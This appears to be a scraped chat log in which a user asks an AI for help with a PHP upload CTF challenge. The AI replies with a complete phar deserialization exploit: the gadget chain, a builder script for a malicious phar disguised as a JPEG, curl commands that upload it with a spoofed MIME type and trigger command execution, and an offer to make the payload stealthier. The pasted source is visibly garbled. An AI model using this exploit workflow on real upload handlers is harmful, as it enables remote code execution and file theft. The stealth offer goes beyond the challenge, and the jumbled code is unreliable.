我现在在做一道ctf-web题目,现在有三个页面源码,你能帮我分析出怎么得到flag吗? 第一个是i...
Creato il: 1 novembre 2025
Risposto usando GPT-5 Thinking da Chat01
Creato il: 1 novembre 2025
Risposto usando GPT-5 Thinking da Chat01
我现在在做一道ctf-web题目,现在有三个页面源码,你能帮我分析出怎么得到flag吗?
第一个是index.php
</div> </body> </html> 第二个是/var/www/html/uploads.php <?php $uploadDir = __DIR__ . '/uploads/'; if (!is_dir($uploadDir)) { mkdir($uploadDir, 0755, true); } $whitelist = ['txt', 'log', 'jpg', 'jpeg', 'png', 'zip','gif','gz']; $allowedMimes = [ 'txt' => ['text/plain'], 'log' => ['text/plain'], 'jpg' => ['image/jpeg'], 'jpeg' => ['image/jpeg'], 'png' => ['image/png'], 'zip' => ['application/zip', 'application/x-zip-compressed', 'multipart/x-zip'], 'gif' => ['image/gif'], 'gz' => ['application/gzip', 'application/x-gzip'] ];text<form class="controls" method="get" action=""> <input type="text" name="filename" value="<?php echo isset($_GET['filename']) ? htmlspecialchars($_GET['filename'], ENT_QUOTES) : ''; ?>" /> <button type="submit" class="btn">读取文件</button> <a class="btn secondary" href="">重置</a> </form> <?php if ($error !== null && $error !== ''): ?> <div class="alert error" role="alert"><?php echo htmlspecialchars($error, ENT_QUOTES); ?></div> <?php endif; ?> <!--RUN printf "open_basedir=/var/www/html:/tmp\nsys_temp_dir=/tmp\nupload_tmp_dir=/tmp\n" \ > /usr/local/etc/php/conf.d/zz-open_basedir.ini--> <?php if ($content !== null): ?> <div class="result" aria-live="polite"> <div class="meta"> <div>文件:<?php echo htmlspecialchars($filename, ENT_QUOTES); ?></div> <div style="font-size:12px;color:var(--muted)"><?php echo strlen($content); ?> bytes</div> </div> <div class="body"><pre><?php echo htmlspecialchars($content, ENT_QUOTES); ?></pre></div> </div> <?php elseif ($error === null && isset($_GET['filename'])): ?> <div class="alert warn">未能读取内容或文件为空。</div> <?php endif; ?>
$resultMessage = '';
if (_SERVER['REQUEST_METHOD'] === 'POST' && isset(_FILES['file'])) {
_FILES['file'];
textif ($file['error'] === UPLOAD_ERR_OK) { $originalName = $file['name']; $ext = strtolower(pathinfo($originalName, PATHINFO_EXTENSION)); if (!in_array($ext, $whitelist, true)) { die('File extension not allowed.'); } $mime = $file['type']; if (!isset($allowedMimes[$ext]) || !in_array($mime, $allowedMimes[$ext], true)) { die('MIME type mismatch or not allowed. Detected: ' . htmlspecialchars($mime)); } $safeBaseName = preg_replace('/[^A-Za-z0-9_\-\.]/', '_', basename($originalName)); $safeBaseName = ltrim($safeBaseName, '.'); $targetFilename = time() . '_' . $safeBaseName; file_put_contents('/tmp/log.txt', "upload file success: $targetFilename, MIME: $mime\n"); $targetPath = $uploadDir . $targetFilename; if (move_uploaded_file($file['tmp_name'], $targetPath)) { @chmod($targetPath, 0644); $resultMessage = '<div class="success"> File uploaded successfully '. '</div>'; } else { $resultMessage = '<div class="error"> Failed to move uploaded file.</div>'; } } else { $resultMessage = '<div class="error"> Upload error: ' . $file['error'] . '</div>'; }
}
?>
第三个是function.php
可以!这题的核心是phar 反序列化链 + 文件读取器。
思路:把一个带有恶意元数据(metadata)的 phar 文件 伪装成允许的后缀(jpg/zip/gz…)上传到 /var/www/html/uploads/,然后用 index.php 去读 phar:// 路径。因为你加了 ?serialized=1,index.php 会 require 'function.php',从而加载类 A/B/C。PHP 在读取 phar:// 时会反序列化 phar 的 metadata,并自动触发对象的 __wakeup(),进而串出命令执行写出 flag 到 /tmp/flag,最后再直接读这个文件即可。
index.php(关键点)
file_get_contents($filename)phar://(只拦了 php://、filter、data:// 等)。serialized 参数时,会 require 'function.php',这一步很关键:让类 A/B/C 可用,这样 phar 反序列化的魔术方法才会被真正调用。function.php(gadget 链)
class B::__wakeup(){ echo($this->test); }echo 一个对象会触发该对象的 __toString()。class A::__toString(){ $function = $this->luo; return $function(); } —— 也就是把 $this->luo 当成“可调用”来调用。class B::__invoke(){ $this->a->rce_me(); } —— 被当函数调用时,去调 $this->a->rce_me()class C::rce_me(){ system("cat /flag/flag.txt > /tmp/flag"); } —— 把真正的 flag 绕过 open_basedir(系统命令不受其限制)写进 /tmp/flag(open_basedir 允许 /tmp)把这些串起来的 payload 结构是:
textB (触发 __wakeup) └─ test = A (echo(object) → 触发 A::__toString) └─ luo = B2 (当作函数调用 → 触发 B2::__invoke) └─ a = C (B2 调 C::rce_me → system("cat /flag/... > /tmp/flag"))
uploads.php(拿到落盘路径)
txt/log/jpg/jpeg/png/zip/gif/gz$_FILES['file']['type'] 来比对,可控。time().'_'.安全化原名,并把最终文件名写入 /tmp/log.txt(我们可以读它来获取真实文件名)。open_basedir
open_basedir=/var/www/html:/tmp。/flag/flag.txt,但能读 /tmp/flag;而 C::rce_me() 用了 system("cat /flag/flag.txt > /tmp/flag"),刚好符合。生成 phar 时需要
phar.readonly=0(只在你本地生成用到;目标站点读取不需要)
保存为 build.php 并执行(会生成 evil.jpg):
php<?php ini_set('phar.readonly', 0); /* 复制题目里的类定义,或简化成同名同属性/方法的骨架即可 */ class A { public $file; public $luo; function __toString(){ $f = $this->luo; return $f(); } } class B { public $a; public $test; function __wakeup(){ echo($this->test); } function __invoke(){ $this->a->rce_me(); } } class C { public $b; function rce_me(){ /* 本地无需真执行 */ } } @unlink('evil.phar'); $phar = new Phar('evil.phar'); $phar->startBuffering(); /* 放个占位文件,等会儿用 phar:///path/to/file/这里 的形式读取 */ $phar->addFromString('a', 'a'); /* 构造链:B(wakeup) → echo A → A::__toString 调用 B2() → B2::__invoke → C::rce_me */ $c = new C(); $b2 = new B(); $b2->a = $c; $a = new A(); $a->luo = $b2; $b1 = new B(); $b1->test= $a; $phar->setMetadata($b1); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $phar->stopBuffering(); /* 伪装成允许的扩展(jpg/zip/gz等) */ rename('evil.phar', 'evil.jpg'); echo "built evil.jpg\n";
命令行执行:
php build.php
用浏览器或 curl,直接把 Content-Type 伪造成允许的 MIME(例如 image/jpeg):
curl -F "[email protected];type=image/jpeg" http://目标站/uploads.php
上传脚本会把最终文件名写入 /tmp/log.txt。直接读它:
curl "http://目标站/index.php?filename=/tmp/log.txt"
会看到类似:
upload file success: 1730469007_evil.jpg, MIME: image/jpeg
记下这个文件名:1730469007_evil.jpg
必须带上 serialized=1,这样 index.php 会 require 'function.php',类 A/B/C 就加载了。
用 phar:///var/www/html/uploads/上传后的文件名/内部文件名 的形式读(内部文件名就是我们在 phar 里 addFromString 的那个,比如 a):
curl "http://目标站/index.php?serialized=1&filename=phar:///var/www/html/uploads/1730469007_evil.jpg/a"
此时会在后台执行整个链,C::rce_me() 把 /flag/flag.txt 重定向保存到 /tmp/flag。
备注:黑名单没有拦
phar://,也没有拦冒号或://,所以这条路径是可用的;并且open_basedir允许访问/var/www/html与/tmp,因此 phar 文件与最终产物/tmp/flag都能被 PHP 读到。
现在直接读 /tmp/flag 即可:
curl "http://目标站/index.php?filename=/tmp/flag"
输出内容就是 flag 🎉
phar://,且带 serialized=1 会加载 gadget 类。B::__wakeup → echo A → A::__toString → B::__invoke → C::rce_me,系统命令把 flag 落到 /tmp/flag,再读出来。如果你需要,我可以把 可直接用的构造脚本 和 全套 curl 命令按你的目标站域名拼好,或者帮你把 phar 做成 zip/gz 壳(有时更隐蔽)。